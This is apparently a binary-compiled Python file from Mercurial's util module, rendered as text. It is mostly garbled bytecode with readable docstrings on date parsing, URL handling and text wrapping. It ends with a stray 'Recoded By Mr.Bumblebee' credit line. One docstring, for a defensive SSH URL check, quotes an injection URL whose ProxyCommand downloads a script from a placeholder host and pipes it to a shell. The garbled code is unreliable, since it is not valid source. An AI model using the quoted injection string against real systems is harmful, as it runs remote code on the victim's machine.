rqXPqWt t d | n Xt | d k rt t d | n | d k r5t t d | n | d k sM| d k rft t d | n | | f S( s parse a localized date/time and return a (unixtime, offset) tuple.
The date may be a "unixtime offset" string or in one of the specified
formats. If the date already is a (unixtime, offset) tuple, it is returned.
>>> parsedate(' today ') == parsedate( datetime.date.today().strftime('%b %d'))
True
>>> parsedate( 'yesterday ') == parsedate((datetime.date.today() - datetime.timedelta(days=1) ).strftime('%b %d'))
True
>>> now, tz = makedate()
>>> strnow, strtz = parsedate('now')
>>> (strnow - now) < 1
True
>>> tz == strtz
True
i i t nowt todays %b %dt yesterdayR i R R R R R R R t HMSt 00R R s invalid date: %ris date exceeds 32 bits: %ds negative date value: %di ;i s impossible time zone offset: %d( i i ( R s mbs yYs HIR R N( t
isinstancet tupleR- t defaultdateformatst stripR R R} R R R t timedeltat mapR R R R RR R R t
OverflowErrorRy R ( R t formatst biast whenR R R R9 R R R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt parsedate sR ! "
c s d } d } | j } | s9 t t d n| d d k r | d sh t t d n | | d f d S| d d k r | d s t t d
n | | d f d S| d d k rry t | d } Wn+ t k
r"t t d
| d n X| d k rLt t d | d n t d | d d f d Sd | k r| j d \ } } | | | | f d S| | | | f d Sd S( sA Return a function that matches a given date match specifier
Formats include:
'{date}' match a given date to the accuracy provided
'<{date}' on or before a given date
'>{date}' on or after a given date
>>> p1 = parsedate("10:29:59")
>>> p2 = parsedate("10:30:00")
>>> p3 = parsedate("10:30:59")
>>> p4 = parsedate("10:31:00")
>>> p5 = parsedate("Sep 15 10:30:00 1999")
>>> f = matchdate("10:30")
>>> f(p1[0])
False
>>> f(p2[0])
True
>>> f(p3[0])
True
>>> f(p4[0])
False
>>> f(p5[0])
False
c S s( i d d 6d d 6} t | t | d S( NR R R i ( R t extendeddateformats( R R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR s c S s i d d 6d d 6d d 6d d 6} xD d D]< } y" | | d <t | t | d SWq) t k
rd q) Xq) Wd
| d <t | t | d S( Nt 12R t 23R t 59R R t 31t 30t 29R i t 28( R R R ( R R Ry ( R R R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR s "
s+ dates cannot consist entirely of whitespacei t <i s invalid day spec, use '<DATE'c s
| k S( N( ( R ( R ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt <lambda> s t >s invalid day spec, use '>DATE'c s
| k S( N( ( R ( R ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR s R s invalid day spec: %ss, %s must be nonnegative (see 'hg help dates')i i c s
| k S( N( ( R ( R ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR s s to c s | k o | k S( N( ( R ( t startt stop( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR s c s | k o | k S( N( ( R ( R R ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR s N( R Ry R R R R R ( R R R R R R ( ( R R R s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt matchdate s>
c C s | j d } | d k r( | | } n | j d } | d k rT | | d } n | j d } | d k r| | | } n | j d } | d k r | | } n | S( s> Return a short representation of a user name or email address.R i R i R R ( R1 ( t userR1 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt shortuser s
c C sX | j d } | d k r( | | } n | j d } | d k rT | | d } n | S( s, Return the user portion of an email address.R i R i ( R1 ( R R1 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt emailuser. s
c C s< | j d } | d k r$ d } n | | j d d | !S( s get email of author.R iR i N( R1 RR ( t authorR ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt email8 s i c C s t j | | d d S( sC Trim string to at most maxlength (default: 400) columns in display.t ellipsiss ...( t encodingt trim( Rf t maxlength( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR ? s c s f d } | S( s@ return a function that renders a readable count of some quantityc sL x9 D]1 \ } } } | | | k r | | t | Sq W d d | S( Nii ( R ( t countt
multipliert divisorR ( t unittable( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt goF s ( ( R R ( ( R s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt unitcountfnC s id i i s %.0f GBi
s %.1f GBs %.2f GBi s %.0f MBs %.1f MBs %.2f MBs %.0f KBs %.1f KBs %.2f KBs
%.0f bytesc C s t | j d d S( Ns \\s \( t reprRv ( R
( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt uirepr[ s c K s) d t j f d Y} | a | | S( Nt twc B s2 e Z d Z d Z d Z d Z d Z RS( s8
Extend TextWrapper for width-awareness.
Neither number of 'bytes' in any encoding nor 'characters' is
appropriate to calculate terminal columns for specified string.
Original TextWrapper implementation uses built-in 'len()' directly,
so overriding is needed to use width information of each characters.
In addition, characters classified into 'ambiguous' width are
treated as wide in East Asian area, but as narrow in other.
This requires use decision to determine width of such characters.
c [ sG t j j | | t | d d d k rC | j d t | _ n d S( Nt drop_whitespace( t textwrapt TextWrapperRD R RR R R R ( R9 R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRD p s c S sh d } t j } xL t t | D]8 } | | | | 7} | | k r" | | | | f Sq" W| d f S( Ni R ( R t ucolwidtht xrangeR- ( R9 t ucstrt
space_leftRs t colwidthR; ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt _cutdownw s c S sr t | | d } | j rR | j | d | \ } } | j | | | d <n | sn | j | j n d S( Ni i( R t break_long_wordsR R. R ( R9 t reversed_chunkst cur_linet cur_lent widthR t cutt res( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt _handle_long_word s
c S s t j } g } | j d k r4 t d | j n | j xH| rg } d } | re | j } n | j } | j t | } | j r | d j d k r | r | d =n xK | r | | d } | | | k r | j
| j | | 7} q Pq W| r3| | d | k r3| j | | | | n | j rb| rb| d j d k rb| d =n | rA | j
| d j
| qA qA W| S( Ni s invalid width %r (must be > 0)iR ( R R R R R t subsequent_indentt initial_indentR- R R R. R R R ( R9 Rk R t linesR R t indentR Rs ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt _wrap_chunks s8
%
!( R> R? RQ RD R R R ( ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR a s
( R R t
MBTextWrapper( R R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR ` s jc C s t t | t | } | | k r= t d | d } n | j t j t j } | j t j t j } | j t j t j } t d | d | d | } | j | j t j S( NiN i R R R ( R R- t decodeR t encodingmodeR t fillt encode( R R t
initindentt
hangindentt maxindentt wrapper( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt wrap s c c s1 x* | D]" } x | j D] } | Vq Wq Wd S( N( t
splitlines( t iteratorR R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt iterlines s
c C s t j j t j j | S( N( Rr R t
expandusert
expandvars( R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt
expandpath s c C s t r t j g St S( s Return the command used to execute current hg
This is different from hgexecutable() because on Windows we want
to avoid things opening new shell windows like batch files, so we
get either the python call or current executable.
( R R
R t gethgcmd( ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt hgcmd s
c s t f d } d } t t d d } | d k rQ t j | | } n zX t | } xA | s | k s t | r | r d St j d qc W| SWd | d k r t j t j | n Xd S( s_ Execute the argument list in a detached process.
condfn is a callable which is called repeatedly and should return
True once the child process is known to have started successfully.
At this point, the child process PID is returned. If the child
process fails to start or finishes before condfn() evaluates to
True, return -1.
c s j t j d S( N( t addRr R ( t signumt frame( t
terminated( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt handler s t SIGCHLDig?N( t setRR R t signalt
spawndetachedt testpidR| t sleepR
( R3 t condfnR t prevhandlerR
t pid( ( R s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt rundetached s
c C s x | D] } | r t Sq Wt S( N( R R ( t iterableR; ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt any s
c C s x | D] } | s t Sq Wt S( N( R R ( R R; ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt all s
c s p d d j j } | rj | d | 7} t | d k rW | d } n | } | | <n t j d | | f } | j f d | S( s Return the result of interpolating items in the mapping into string s.
prefix is a single character string, or a two character string with
a backslash as the first character if the prefix needs to be escaped in
a regular expression.
fn is an optional function that will be applied to the replacement text
just before replacement.
escape_prefix is an optional flag that allows using doubled prefix for
its escaping.
c S s | S( N( ( R
( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR - s t |i s %s(%s)c s | j d S( Ni ( t group( R ( R t mapping( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR 7 s ( R RO R- R( R+ t sub( Rj R R
R t
escape_prefixt patternst prefix_charR ( ( R R s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt interpolate s
c C sd y t | SWn t k
r! n Xy t j | SWn* t j k
r_ t t d | n Xd S( s Return the port for a given network service.
If port is an integer, it's returned as is. If it's a string, it's
looked up using socket.getservbyname(). If there's no matching
service, util.Abort is raised.
s+ no port number associated with service '%s'N( R R t sockett
getservbynameR Ry R ( t port( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt getport9 s
R t yest truet onR R t not falset offR c C s t j | j d S( sL Parse s into a boolean.
If s is not a valid boolean, returns None.
N( t _booleansR R RR ( R
( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt parseboolN s t 0123456789ABCDEFabcdefc c s? | ]5 } t D]( } | | t t | | d f Vq
q d S( i N( t _hexdigt chrR ( R R R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pys <genexpr>V s c C s | j d } t | d k r% | S| d } x | d D]{ } y | t | d | d 7} Wq: t k
r | d | 7} q: t k
r | t t | d d | d 7} q: Xq: W| S( sQ Decode HTTP/HTML % encoding.
>>> _urlunquote('abc%20def')
'abc def'
R i i i i ( R R- t _hextochrt KeyErrort UnicodeDecodeErrort unichrR ( R
R t item( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt _urlunquoteY s
-t urlc B sq e Z d Z d Z d Z e j d j Z e e d Z
d Z d Z d Z
d Z d Z d
Z RS( s Reliable URL parser.
This parses URLs and provides attributes for the following
components:
<scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
Missing components are set to None. The only exception is
fragment, which is set to '' if present but empty.
If parsefragment is False, fragment is included in query. If
parsequery is False, query is included in path. If both are
False, both fragment and query are included in path.
See http://www.ietf.org/rfc/rfc2396.txt for more information.
Note that for backward compatibility reasons, bundle URLs do not
take host names. That means 'bundle://../' has a path of '../'.
Examples:
>>> url('http://www.ietf.org/rfc/rfc2396.txt')
<url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
>>> url('ssh://[::1]:2200//home/joe/repo')
<url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
>>> url('file:///home/joe/repo')
<url scheme: 'file', path: '/home/joe/repo'>
>>> url('file:///c:/temp/foo/')
<url scheme: 'file', path: 'c:/temp/foo/'>
>>> url('bundle:foo')
<url scheme: 'bundle', path: 'foo'>
>>> url('bundle://../foo')
<url scheme: 'bundle', path: '../foo'>
>>> url(r'c:\foo\bar')
<url path: 'c:\\foo\\bar'>
>>> url(r'\\blah\blah\blah')
<url path: '\\\\blah\\blah\\blah'>
>>> url(r'\\blah\blah\blah#baz')
<url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
>>> url(r'file:///C:\users\me')
<url scheme: 'file', path: 'C:\\users\\me'>
Authentication credentials:
>>> url('ssh://joe:xyz@x/repo')
<url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
>>> url('ssh://joe@x/repo')
<url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
Query strings and fragments:
>>> url('http://host/a?b#c')
<url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
>>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
<url scheme: 'http', host: 'host', path: 'a?b#c'>
s !~*'()+s
/!~*'()+:\s ^[a-zA-Z0-9+.\-]+:c C s d | _ | _ | _ | _ d | _ | _ | _ | _ t | _
d | _ | | _ | r d | k r | j
d d \ } | _ | s d } q n t | s | j d r | | _ d S| j d r d | _ | d } | j d r | d } n | | _ d S| j | rR| j
d
d } | d rR| \ | _ } t | _
qRn | swd } | j
rd | _ d SnF| j
r| | _ d S| rd | k r| j
d d \ } | _ | sd } n | j sd | _ qn | r{| j d r{| d j
d
d } t | d k r0| \ | _ } n | d | _ d } | j s{d | _ | rxt | rxd
| } qxq{n | j rd | j k r| j j d d \ | _ | _ d
| j k r| j j
d
d \ | _ | _ n | j sd | _ qn | j rd
| j k r| j j d o8| j j d r| j | _ | j j d
d \ | _ | _ | j sd | _ qn | j r| j d k r| j d k rt t d n | | _ xB d D]: } t | | } | d k rt | | t | qqWd S( NR t #i s \\s bundle:t bundlei s //i t :i t ?R R t [t ]t filet localhosts 127.0.0.1s [::1]s( file:// URLs can only refer to localhostR t passwdt hostR! R t fragment( R< s 127.0.0.1s [::1]( s users passwds hosts ports paths fragment( RR t schemeR R= R> R! R t queryR? R t
_localpatht _hostportt _origpathR t hasdriveletterR t _matchschemeR R- t rsplitR Ry R R t setattrR3 ( R9 R t
parsequeryt
parsefragmentt partsR R< ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRD s
!$ % !
c C s] g } xC d D]; } t | | } | d k r
| j d | | f q
q
Wd
d j | S(
NR@ R R= R> R! R RA R? s %s: %rs <url %s>s , ( s schemes users passwds hosts ports paths querys fragment( R RR R. R ( R9 t attrsR R< ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt __repr__ s
c C sm | j rO | j } | j d k r. d | } n | j rK | d | j 7} n | S| j d } | j sw | j sw | j r | d 7} n] | j r | j s | j j d s t | j r | d 7} t | j r | d 7} q n | j r | t j
| j d | j 7} n | j r;| d t j
| j d | j 7} n | j sM| j rZ| d 7} n | j r| j j d o| j j d
s| t j
| j 7} q| | j 7} n | j
r| d t j
| j
7} n | j r| d 7} n | j r| t j
| j d | j 7} n | j r4| d | j 7} n | j d k ri| d t j
| j d | j 7} n | S(
s Join the URL's components back into a URL string.
Examples:
>>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
>>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
'http://user:pw@host:80/?foo=bar&baz=42'
>>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
'http://user:pw@host:80/?foo=bar%3dbaz'
>>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
'ssh://user:pw@[::1]:2200//home/joe#'
>>> str(url('http://localhost:80//'))
'http://localhost:80//'
>>> str(url('http://localhost:80/'))
'http://localhost:80/'
>>> str(url('http://localhost:80'))
'http://localhost:80/'
>>> str(url('bundle:foo'))
'bundle:foo'
>>> str(url('bundle://../foo'))
'bundle:../foo'
>>> str(url('path'))
'path'
>>> str(url('file:///tmp/foo/bar'))
'file:///tmp/foo/bar'
>>> str(url('file:///c:/tmp/foo/bar'))
'file:///c:/tmp/foo/bar'
>>> print url(r'bundle:foo\bar')
bundle:foo\bar
>>> print url(r'file:///D:\data\hg')
file:///D:\data\hg
R6 s bundle:R5 R7 s //R t safeR R9 R: R8 N( RB R R@ R? R R= R> R RE t urllibt quotet
_safecharsR R! t _safepcharsRA RR ( R9 R
( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt __str__ sH "
%
" &
$
" &c C s | j | j } } z" d \ | _ | _ t | } Wd | | | _ | _ X| j s_ | d f S| d | | j f | j | j p d f f S( NR ( NN( R R= RR R R> ( R9 R R= R
( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt authinfo_ s
c C s_ | j r | j d k r t St | j r/ t S| j j d rE t S| j j d r[ t St S( NR; s \\R ( R@ R RE R R R ( R9 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR o s c C s | j d k s | j d k r | j p* d } t | j rS | j d | j } n2 | j d k r | j r t | r d | } n | S| j S( NR; R6 R ( R@ R RE RC R> RR RD ( R9 R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR z s
c C s& | j p% | j d k p% | j d k S( s? whether localpath will return something that posixfile can openR; R6 ( R@ ( R9 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt islocal s ( R> R? RQ RQ RR R( R+ R% RF R RD RM RS RT R R RU ( ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR4 m s 8^ M
c C s t t | j S( N( R R4 R@ ( R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt hasscheme s c C s* | o) | d d !d k o) | d d !j S( Ni i R7 i ( t isalpha( R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRE s c C s t | d t d t j S( NRI RJ ( R4 R R ( R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt urllocalpath s c C sP t j | } | j d s- | j d rL t j t d | f n d S( s\ check if a path / url is a potentially unsafe ssh exploit (SEC)
This is a sanity check for ssh urls. ssh will parse the first item as
an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
Let's prevent these potentially exploited urls entirely and warn the
user.
Raises an error.Abort when the url is unsafe.
s ssh://-s svn+ssh://-s potentially unsafe url: %rN( RO t unquoteR R Ry R ( R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt checksafessh s
c C s+ t | } | j r! d | _ n t | S( s$ hide user credential in a url strings ***( R4 R= R ( t u( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt hidepassword s c C s& t | } d | _ | _ t | S( s7 remove all authentication information from a url stringN( R4 RR R R= R ( R[ ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt
removeauth s c C s' y | j SWn t k
r" t SXd S( N( t isattyR R ( RA ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR^ s
g @@s %.0f ss %.1f ss %.2f ss %.3f sgMbP?s %.1f mss %.2f mss %.3f msgư>s %.1f uss %.2f uss %.3f usg& .>s %.1f nss %.2f nss %.3f nsc s f d } | S( s Report the execution time of a function call to stderr.
During development, use as a decorator when you need to measure
the cost of a function, e.g. as follows:
@util.timed
def foo(a, b, c):
pass
c s t j } d } t d c | 7<z | | SWd t j | } t d c | 8<t j j d d t d j t | f Xd S( Ni i s %s%s: %s
R ( R| t _timenestingR
R' Rt R> t timecount( R3 R R R t elapsed( R0 ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR s ( ( R0 R ( ( R0 s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt timed s t mi RK t gt kbR t gbR c C s | j j } yS xB t D]: \ } } | j | r t t | t | | Sq Wt | SWn* t k
r t j t
d | n Xd S( s Convert a space specifier to a byte count.
>>> sizetoint('30')
30
>>> sizetoint('2.2kb')
2252
>>> sizetoint('6M')
6291456
s couldn't parse size: %sN( R R t
_sizeunitsR R R R- R R t
ParseErrorR ( R
R
RK R[ ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt sizetoint s
#
t hooksc B s) e Z d Z d Z d Z d Z RS( s A collection of hook functions that can be used to extend a
function's behaviour. Hooks are called in lexicographic order,
based on the names of their sources.c C s
g | _ d S( N( t _hooks( R9 ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRD s c C s | j j | | f d S( N( Rk R. ( R9 R t hook( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR s c G sM | j j d d g } x* | j D] \ } } | j | | q& W| S( NRH c S s | d S( Ni ( ( R ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyR s ( Rk t sortR. ( R9 R3 t resultsR Rl ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt __call__ s
( R> R? RQ RD R Ro ( ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyRj s t
stacktracec C s | r | j n | j d | g t j | d D]( \ } } } } d | | f | f ^ q: } | r t d | D } x1 | D]& \ }
} | j d | |
| f q Wn | j d S( s' Writes a message to f (stderr) with a nicely formatted stacktrace.
Skips the 'skip' last entries. By default it will flush stdout first.
It can be used everywhere and do intentionally not require an ui object.
Not be used in production code but very convenient while developing.
s %s at:
i s %s:%sc s s | ] } t | d Vq d S( i N( R- ( R t entry( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pys <genexpr> s s %-*s in %s
N( R Rt R t
extract_stackR ( t msgt skipR1 t otherfR t lnR0 t _textt entriest fnmaxt fnln( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt debugstacktrace
s
A!( RQ t i18nR R R R R R R
Rp R t reR( Rr R| R} R R R t collectionsR R RO R_ t windowsRx R t cachestatt checkexect checklinkR t executablepatht expandglobsRz R R t getusert groupmemberst groupnamet
hidewindowt isexect isownerR t lookupregR] R= R3 R/ t
openhardlinksR t parsepatchoutputR t popenR R RZ t
samedevicet samefilet samestatt setbinaryt setflagst setsignalhandlert
shellquoteR
R t sshargsR R t
statisexect
statislinkt termwidthR t umaskR} t
unlinkpatht usernamet objectR R R R R t NameErrorR R R RR R R% R( R& R+ R R R6 R7 R= R RF R@ RS R] R^ Ri R R R R R Ry R R R R R R R Rw R R R R R R t checkosfilenameR R R R" R$ R& R, R# R5 R; RB RC R RH RQ RR R_ Rd Re Rg Ri Rj RK R R R R R R R R R R R t bytecountR R R R R R R R R R R" R R) R* R, R. R3 R4 RV RE RX RZ R\ R] R^ R` R_ Rb Rg Ri Rj R' R R{ R ( ( ( s2 /usr/lib/python2.7/dist-packages/mercurial/util.pyt <module> s $< T$
%
:
/
+ . " '& 3
)M L
n
#
&
'6
Copyright © 2017 || Recoded By Mr.Bumblebee